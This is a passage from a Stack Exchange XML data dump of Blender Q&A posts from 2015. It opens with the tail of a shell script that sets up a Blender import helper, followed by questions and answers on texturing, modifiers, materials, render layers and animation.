&quot;application/x-blender_auto_import_$EXT&quot;&#xA;done&#xA;&#xA;tee $PYTHON_SCRIPT &amp;gt; /dev/null &amp;lt;&amp;lt;EOF&#xA;import bpy&#xA;&#xA;&#xA;# format specific options... change as you like&#xA;args_fbx = dict(&#xA;    # global_scale=1.0,&#xA;    )&#xA;&#xA;args_obj = dict(&#xA;    # use_image_search=False,&#xA;    )&#xA;&#xA;args_3ds = dict(&#xA;    # constrain_size=0.0,&#xA;    )&#xA;&#xA;def clear_scene():&#xA;    for scene in bpy.data.scenes:&#xA;        for obj in scene.objects[:]:&#xA;            scene.objects.unlink(obj)&#xA;&#xA;&#xA;def main():&#xA;    import os&#xA;&#xA;    from sys import argv&#xA;    argv = argv[argv.index(&quot;--&quot;) + 1:]&#xA;&#xA;    for f in argv:&#xA;        ext = os.path.splitext(f)[1].lower()&#xA;&#xA;        if ext == &quot;.fbx&quot;:&#xA;            bpy.ops.import_scene.fbx(filepath=f, **args_fbx)&#xA;        elif ext == &quot;.obj&quot;:&#xA;            bpy.ops.import_scene.obj(filepath=f, **args_obj)&#xA;        elif ext == &quot;.3ds&quot;:&#xA;            bpy.ops.import_scene.autodesk_3ds(filepath=f, **args_3ds)&#xA;        else:&#xA;            print(&quot;Extension %r is not known!&quot; % ext)&#xA;    else:&#xA;        print(&quot;No files passed!&quot;)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    clear_scene()&#xA;    main()&#xA;EOF&#xA;echo &quot;  written: '$PYTHON_SCRIPT'&quot;&#xA;&#xA;echo &quot;Done!&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2015-06-13T08:27:31.040" LastActivityDate="2015-06-13T08:27:31.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32038" PostTypeId="2" ParentId="32004" CreationDate="2015-06-07T07:36:57.863" Score="1" Body="&lt;p&gt;If you're in Cycles apply your color to the viewport color of the mesh. The exporter will use this value. This option is located under Settings in the Materials-Panel.&lt;/p&gt;&#xA;" OwnerUserId="6445" LastActivityDate="2015-06-07T07:36:57.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32039" PostTypeId="2" ParentId="32015" CreationDate="2015-06-07T08:57:42.050" Score="0" Body="&lt;p&gt;If you look closely, you can see that this is caused texture interpolation getting a little bit of the alpha surrounding the wood texture. So in other words, your wood texture is outlined with a line alpha less than a pixel wide which lets you see through to the objects and sky behind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WK1Xi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is why you usually want to have a small margin around UVs so interpolation will have something outside with which to interpolate with besides alpha.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix this, you can try using the solutions below individually or in combination.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Scale the wood UVs in a little so the UVs aren't right up against the alpha:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mHr0L.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;&lt;sub&gt;This is really a pretty generous margin for this situation. In this case it only needs to be scaled in about half a pixel, but a little extra can't hurt.&lt;/sub&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not completely ideal, as you lose part of the texture (though it's unlikely anyone would notice).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/q/2586/599&quot;&gt;Disable interpolation&lt;/a&gt;. It won't completely get rid of the problem, as the texture is still filtered a bit when it's distorted by perspective etc, but it will be so small that it's only visible when viewed &lt;em&gt;really&lt;/em&gt; close up. This way you can also save some memory by using the 512x512 texture, as it will no longer be blurred by interpolation if it's disabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OKNKL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.850" LastActivityDate="2015-06-07T08:57:42.050" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="32040" PostTypeId="2" ParentId="28425" CreationDate="2015-06-07T09:43:46.927" Score="2" Body="&lt;p&gt;From your question I see that you kept calling it smooth and align perfectly with its outline,so the answer for this is as following.&#xA;There is an option in the subsurface modifier Show on cage so for example I have &lt;strong&gt;this object here with this topology:&lt;/strong&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/K9gMD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;And I enable The show in cage option:&lt;/strong&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/BJUHe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Now it become smooth and fit to the model&lt;/strong&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/sEUTB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5794" LastActivityDate="2015-06-07T09:43:46.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32041" PostTypeId="2" ParentId="32027" CreationDate="2015-06-07T10:50:09.133" Score="3" Body="&lt;p&gt;The error &lt;code&gt;NameError: name 'self' is not defined&lt;/code&gt; is pretty self explanatory, you are using &lt;code&gt;self&lt;/code&gt; as a variable name and it has not been defined at the point you are using it. &lt;code&gt;self&lt;/code&gt; is a variable name normally only used within a class definition while you are trying to use it in a module function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;self&lt;/code&gt; is normally defined to point to the object that the current function belongs to. In the context that you are trying to use it, it will be the first argument sent to the callback function, meaning it should point to the object that will be handling the callback.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think to achieve what you want, try adding a variable to the scene object that holds a list of data that &lt;code&gt;draw_text_callback&lt;/code&gt; draws (See the example for &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_5/bpy.props.html#collection-example&quot; rel=&quot;nofollow&quot;&gt;CollectionProperty&lt;/a&gt;), your &lt;code&gt;update_scene&lt;/code&gt; maintains the list and &lt;code&gt;draw_text_callback&lt;/code&gt; goes through it to draw what it needs to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second error is because you can't add another parameter to the function used for &lt;code&gt;scene_update_post&lt;/code&gt; as it must match the single argument prototype that is defined to be used.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-06-07T10:50:09.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32042" PostTypeId="2" ParentId="31729" CreationDate="2015-06-07T11:04:00.810" Score="-1" Body="&lt;p&gt;Create an object plane , set the material-setting such glowing-setting as a billboard orientation , find a resource on blenderartist forum or somewhere UVScroll.py script or direct uv anim what is already in the UV section, but the script is better-more Control , create your Gimp or Photoshop . some colorful alpha channel Stars-32x32 or 64x64 enough texture size.&#xA;and create a series images how you want to animate the star - should do so&#xA;axis y - 2 images&#xA;axis x - 2 images&#xA;-so that the entire texture will be composed of 4 images , so if you have&#xA;a 64x64 image as a texture will be 2 x 64 on each side - that's 128x128 resolution.&#xA;UVScroll.blend get somewhere and accordingly do it...&#xA;I wish a lot of shining stars&#xA;P. S. way I would do it &lt;/p&gt;&#xA;" OwnerUserId="14848" LastActivityDate="2015-06-07T11:04:00.810" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32043" PostTypeId="1" AcceptedAnswerId="32951" CreationDate="2015-06-07T11:15:17.730" Score="5" ViewCount="10763" Body="&lt;p&gt;I'd like to know how the Cloth Stiffness Scaling option works. It can be found in the Cloth Modifier's Physics Panel; however, the &lt;a href=&quot;http://blender.org/manual/physics/cloth.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;manual&lt;/a&gt; doesn't mention this feature at all. How does the Cloth Stiffness Scaling option work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More specifically, I'd like to use cloth simulation to model a &lt;a href=&quot;http://en.wikipedia.org/wiki/Dress_shirt&quot; rel=&quot;nofollow noreferrer&quot;&gt;shirt with a stiffish collar&lt;/a&gt;. I tried weight painting the collar and setting stiffness scaling to use said vertex group; however, I didn't see any change in the simulation. Additionally, the simulation doesn't prevent the intersection of itself and the collision mesh. Are there any tricks to improving this result?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/259/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=259&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-03-14T09:23:48.777" LastActivityDate="2015-06-25T18:29:06.700" Title="How does the Cloth Stiffness Scaling option work?" Tags="&lt;physics&gt;&lt;cloth-simulation&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32045" PostTypeId="1" CreationDate="2015-06-07T15:01:35.193" Score="1" ViewCount="94" Body="&lt;p&gt;Only the color loads properly from the material and other settings are missing when in load the exported obj file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is the first rendered image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3voLP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And this is the image rendered after importing the .obj file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AVKvz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is, where are the other settings which you can see in the first rendered image&lt;/p&gt;&#xA;" OwnerUserId="9818" LastEditorUserId="3710" LastEditDate="2015-06-07T15:07:17.657" LastActivityDate="2015-06-07T15:07:17.657" Title="Material isn't loading properly from the imported .obj file" Tags="&lt;rendering&gt;&lt;import&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32047" PostTypeId="1" AcceptedAnswerId="32058" CreationDate="2015-06-07T15:27:54.160" Score="6" ViewCount="1253" Body="&lt;p&gt;I'm following a course from CGCookie (Basics of character modelling). I'm trying to pull one of the vertices backwards:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;there's a mirror modifier on, as well as skin and subsurf.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gA1Ni.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the geometry gets warped:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AxJol.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Same thing happens when I'm trying to extrude another vertex from the bottom one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone please help? I tried asking the question on the course's page, but the mods deleted it for some reason.&lt;/p&gt;&#xA;" OwnerUserId="14852" LastEditorUserId="6076" LastEditDate="2015-06-07T17:35:11.077" LastActivityDate="2015-06-07T17:35:11.077" Title="Weird geometry when using Mirror + skin modifiers" Tags="&lt;modeling&gt;&lt;modifiers&gt;&lt;mirror&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32048" PostTypeId="2" ParentId="32033" CreationDate="2015-06-07T15:44:11.270" Score="0" Body="&lt;ul&gt;&#xA;&lt;li&gt;Consider adding un upper jaw teeth bone.  The weights will be [1.0] for teeth.  &lt;/li&gt;&#xA;&lt;li&gt;If your eyes in the model rotate you will also need to add minimum 2 bones for those.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6076" LastActivityDate="2015-06-07T15:44:11.270" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32049" PostTypeId="2" ParentId="32032" CreationDate="2015-06-07T15:48:32.537" Score="1" Body="&lt;ul&gt;&#xA;&lt;li&gt;Consider animating restrict render. As in View Visible, Select, Camera Render&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RRozn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2015-06-07T15:55:20.010" LastActivityDate="2015-06-07T15:55:20.010" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32050" PostTypeId="1" AcceptedAnswerId="32054" CreationDate="2015-06-07T16:11:30.733" Score="6" ViewCount="8992" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sHtAx.png&quot; alt=&quot;Mesh in Object Mode&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fjCvw.png&quot; alt=&quot;Mesh in Edit Mode&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just click tab to go to edit mode and the object disappears. &#xA;There aren't any armatures or anything else of that kind on the mesh. I'm using Blender 2.74 (latest one).&lt;/p&gt;&#xA;" OwnerUserId="14448" LastEditorUserId="241" LastEditDate="2015-06-07T17:26:45.220" LastActivityDate="2015-06-07T17:26:45.220" Title="Object doesn't show in edit mode" Tags="&lt;mesh&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2015-06-07T17:11:23.797" ContentLicense="CC BY-SA 3.0" />
  <row Id="32052" PostTypeId="2" ParentId="31702" CreationDate="2015-06-07T16:13:46.190" Score="4" Body="&lt;p&gt;Here's how to set Euler rotation.&lt;/p&gt;&#xA;&lt;p&gt;First: &lt;code&gt;from mathutils import Euler&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Then: &lt;code&gt;obj.rotation_euler = Euler((0.3, 0.3, 0.4), 'XYZ')&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;If all the other track_to options are overkill. For more attribute references see the &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_5/bpy.types.Object.html?highlight=rotation_euler#bpy.types.Object.rotation_euler&quot; rel=&quot;nofollow noreferrer&quot;&gt;Object documentation&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="2952" LastEditDate="2020-12-04T04:26:12.027" LastActivityDate="2020-12-04T04:26:12.027" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32054" PostTypeId="2" ParentId="32050" CreationDate="2015-06-07T16:18:13.920" Score="10" Body="&lt;p&gt;When your in edit mode, press &lt;kbd&gt;ALT&lt;/kbd&gt; &lt;kbd&gt;H&lt;/kbd&gt;. This unhides objects. What happened in your case, was that you accidentally pressed &lt;kbd&gt;H&lt;/kbd&gt; (hide) while you where in edit mode with everything selected.&lt;/p&gt;&#xA;" OwnerUserId="8262" LastActivityDate="2015-06-07T16:18:13.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32055" PostTypeId="1" AcceptedAnswerId="32059" CreationDate="2015-06-07T16:31:50.713" Score="10" ViewCount="12982" Body="&lt;p&gt;In Cycles Render, I added hair to a plane (as I was making a grass field) and I don't seem to know how to make the actual flat plane's material different from the hairs themselves, because I'd like to make the plane have an image texture and the hairs have a yellow-like color to them, but of course, if I attempt to make the material yellow-ish, the plane AND the hairs will become yellow. I'm done with the plane, I just want to control the hairs' materials.&lt;/p&gt;&#xA;" OwnerUserId="9583" LastActivityDate="2018-03-29T17:29:37.447" Title="How to make hair material different from the plane itself?" Tags="&lt;cycles-render-engine&gt;&lt;particles&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32056" PostTypeId="2" ParentId="31855" CreationDate="2015-06-07T16:48:06.480" Score="3" Body="&lt;p&gt;Remove the Sampling modifier from the Geometry modifier stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This modifier adds extra stroke vertices at a regular interval.  This modifier is added by default because it is necessary in many stylization situations, e.g., when you want variable color, alpha transparency and/or line thickness along stroke, and when you want to add distortion to stroke geometry.  If you don't need the extra points, you can just remove the modifier.&lt;/p&gt;&#xA;" OwnerUserId="1561" LastActivityDate="2015-06-07T16:48:06.480" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32057" PostTypeId="2" ParentId="32033" CreationDate="2015-06-07T17:01:37.657" Score="2" Body="&lt;p&gt;Thanks for your support, I did it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it were in fact, the vertex weight, since there still was weigth from nearby bones on the skull and the jaw bone. I resetted the whole groups and edited the weight of every bone for the skull and the jaw, so it's mainly on 100% for the resperctive bones and 0 for the others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Fr4NM.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/OscmA.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Zbtvy.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upper teeth and eyes weight was set 100% only to the skull bone and lower teeth was set 100% only to the jaw bone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks again for your help!&#xA;Johann&lt;/p&gt;&#xA;" OwnerUserId="14845" LastActivityDate="2015-06-07T17:01:37.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32058" PostTypeId="2" ParentId="32047" CreationDate="2015-06-07T17:19:19.460" Score="5" Body="&lt;p&gt;Skin Modifier is generating the geometry from the root vertex (marked with dashed circle around it), and if its not on the mirror axis that will generate mesh errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix that select the vertex of the groin area and in Skin Modifier click &lt;strong&gt;Mark Root.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FtUb6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastEditorUserId="12820" LastEditDate="2015-06-07T17:34:07.537" LastActivityDate="2015-06-07T17:34:07.537" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32059" PostTypeId="2" ParentId="32055" CreationDate="2015-06-07T18:29:38.850" Score="14" Body="&lt;p&gt;You can change the strand's material by adding another material slot in the &lt;em&gt;materials&lt;/em&gt; pane, then go to &lt;em&gt;particle settings&lt;/em&gt; panel &gt; &lt;em&gt;render&lt;/em&gt; rollout and select the new material in the &lt;em&gt;material slot&lt;/em&gt; dropdown list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a new material slot:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/YXNaV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And select it in the particle settings:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/AFdRO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="5705" LastEditDate="2015-06-07T18:35:29.067" LastActivityDate="2015-06-07T18:35:29.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32060" PostTypeId="1" CreationDate="2015-06-07T19:01:40.553" Score="2" ViewCount="401" Body="&lt;p&gt;What is a simple way to apply a texture to a specific face of a mesh?&lt;/p&gt;&#xA;" OwnerUserId="14856" LastEditorUserId="3078" LastEditDate="2015-06-07T19:18:21.943" LastActivityDate="2015-06-07T20:23:39.430" Title="How can I apply a texture to a single mesh face?" Tags="&lt;texturing&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2015-06-07T21:42:25.357" ContentLicense="CC BY-SA 3.0" />
  <row Id="32061" PostTypeId="1" CreationDate="2015-06-07T19:04:10.927" Score="0" ViewCount="1093" Body="&lt;p&gt;I have a problem to do with animations in blender, namely that I need to set up two different object's animations within one Action, and then another object separately in another action, so  that when I import my file into Unity there are two separate animations; one of the two parts moving, and the other of one part (which is the parent of the other two parts) rotating.&#xA;The problem is that when I try to do this and set up keyframes for one object, if I then add the other object to that action it will just snap to those same keyframes, instead of being able to have its animation edited separately.&#xA;So my question is how can I set up an animation with multiple objects holding their own keyframes (like I would normally do with a regular keyframe animation) but with the ability to make a separate unique animation for a different object as well?&#xA;I've seen some things in other similar questions to do with the NLA editor I think and merging two separate actions together into one but I can't find any actual information on whether this is what I need to do and if so how to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry if this isn't very well worded, please tell me if you need any clarification.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Ok so I have found out how to use the NLA editor to solve my first problem (I instead created two different actions with both parts moving separately and then added them both into the NLA editor) However now when I try to make a new action to rotate another part of my object it is automatically added to the NLA editor as the same animation, but I need it to be completely separate, how can I accomplish this? It seems there is no way to remove it from the NLA editor once it's there it's rather frustrating...&lt;/p&gt;&#xA;" OwnerUserId="13868" LastEditorUserId="13868" LastEditDate="2015-06-08T09:13:16.497" LastActivityDate="2015-08-07T10:34:59.720" Title="How can I use a single action to trigger animations in multiple objects?" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32062" PostTypeId="2" ParentId="32060" CreationDate="2015-06-07T20:12:19.367" Score="0" Body="&lt;ul&gt;&#xA;&lt;li&gt;In vertex edit mode, mark seams, uv project, add texture, use the uvmap setting.  &lt;/li&gt;&#xA;&lt;li&gt;Seams are difficult to see.  They are necessary to get separation of faces for free movement of the image plane off the uv image editor&lt;/li&gt;&#xA;&lt;li&gt;In uv editor only the target face should remain on the image area, all other faces can be moved to the side&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Material Texture .. Image Mapping Extension must be &amp;lt;&amp;lt; Clip &gt;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the images below a cube has been modified and the target face is shaped into a trapezoid.  The base color is red.   Only one face has the texture.  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DElKX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ESTdv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2015-06-07T20:23:39.430" LastActivityDate="2015-06-07T20:23:39.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32063" PostTypeId="2" ParentId="32032" CreationDate="2015-06-07T20:31:56.937" Score="4" Body="&lt;p&gt;You can do this with Render Layers using the Layer Mask option. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my example below I've created 3 objects, a plane, a monkey, and a cube. The plane is in front of both. The plane is on Layer 1, the monkey on Layer 2 and the Cube on Layer 3. There is a Render Layer set up for each object. The crucial part is that the Render Layer for the monkey has Layer 2 enabled, and also Mask Layer 1 enabled, which makes the plane mask out the monkey on this layer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see in the rendered layers in the top panel, that the monkey layer is masked out, and that the cube is not masked out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RQ7wt.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="894" LastActivityDate="2015-06-07T20:31:56.937" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32064" PostTypeId="1" AcceptedAnswerId="32065" CreationDate="2015-06-07T20:41:19.587" Score="4" ViewCount="944" Body="&lt;p&gt;Whenever I change the layout to Default, it only shows one object. Do you have any idea why?&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/0FsqF.png&quot; alt=&quot;animation layout&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wUaNY.png&quot; alt=&quot;default layout with only one object showing&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14857" LastEditorUserId="3078" LastEditDate="2015-06-07T21:36:48.867" LastActivityDate="2015-06-07T21:36:48.867" Title="Why is the Default Screen layout not showing all objects?" Tags="&lt;objects&gt;&lt;3d-view&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32065" PostTypeId="2" ParentId="32064" CreationDate="2015-06-07T20:45:43.190" Score="7" Body="&lt;p&gt;From the screenshots you posted, you can see that in the top-left corner it says &quot;User Ortho &lt;em&gt;(Local)&lt;/em&gt;&quot;, which means you are in &lt;em&gt;Local View&lt;/em&gt; mode. Just press &lt;kbd&gt;NumPad /&lt;/kbd&gt; to toggle it.&lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="2217" LastEditDate="2015-06-07T21:22:02.790" LastActivityDate="2015-06-07T21:22:02.790" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32066" PostTypeId="2" ParentId="28740" CreationDate="2015-06-07T21:08:07.080" Score="8" Body="&lt;p&gt;Another alternative is to render out to separate image sequences. This is handy if you want to output to different render formats for each Render Pass. As well it gives you the flexibility to only re-render some passes if need be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do this by piping the Render Pass outputs into a File Output node. You can add additional inputs to the FO node and make different file format settings for each (notice the first four inputs are set to PNG output while the last two are set to 32bit EXR format).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/d7O2n.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VWFf9.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="894" LastActivityDate="2015-06-07T21:08:07.080" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32067" PostTypeId="1" AcceptedAnswerId="32087" CreationDate="2015-06-07T21:28:40.340" Score="2" ViewCount="311" Body="&lt;p&gt;Blender seems to be changing the movie clip gamma after rendering. What causes it and how can I fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;View Port:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/F7wBr.jpg&quot; alt=&quot;And that&amp;#39;s how it look after rendering&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Render:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/FyeKE.jpg&quot; alt=&quot;And that&amp;#39;s how it look after rendering&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my &lt;a href=&quot;https://drive.google.com/file/d/0B39l96jiKAYsVDNMWXU3X3c3SVU&quot; rel=&quot;nofollow noreferrer&quot;&gt;.blend file&lt;/a&gt; (including 10 frames of the clip).&lt;/p&gt;&#xA;" OwnerUserId="14858" LastEditorUserId="14858" LastEditDate="2015-06-07T23:01:31.413" LastActivityDate="2015-06-08T08:41:28.087" Title="Why does my render have a gamma value different from the viewport?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;tracking&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32068" PostTypeId="1" CreationDate="2015-06-07T22:03:04.923" Score="1" ViewCount="2312" Body="&lt;p&gt;Seems simple but completely stumped. Watched tutorials, looked for similar questions and would really appreciate any help. I have 3 stacked blocks constrained to fold vertically as shown. The top block stays level. The hinges have to be offset obviously due to the block thickness and hinge points. No matter what I do it tries to fold in the opposite direction using RK since the offset picks the shortest route down as shown in the second pic. The blocks need to first pass over center (go up slightly) to fold the other way.Would really appreciate any help. &lt;img src=&quot;https://i.stack.imgur.com/lvU4u.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HvW7s.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14859" LastEditorUserId="3078" LastEditDate="2015-06-07T22:13:32.173" LastActivityDate="2015-11-25T12:51:00.203" Title="Why are my bones rotating the wrong way?" Tags="&lt;animation&gt;&lt;armature&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32069" PostTypeId="1" CreationDate="2015-06-07T23:32:03.923" Score="-8" ViewCount="2300" Body="&lt;p&gt;Why can't I see my work once rendered? [There was a link to a file on PasteAll.org, but the File is no longer on that site.]&lt;/p&gt;&#xA;" OwnerUserId="13912" LastEditorUserId="3401" LastEditDate="2015-12-22T18:23:28.230" LastActivityDate="2015-12-22T18:23:28.230" Title="Why can't I see my work in render?" Tags="&lt;rendering&gt;" AnswerCount="2" CommentCount="10" ClosedDate="2015-06-09T01:15:22.410" ContentLicense="CC BY-SA 3.0" />
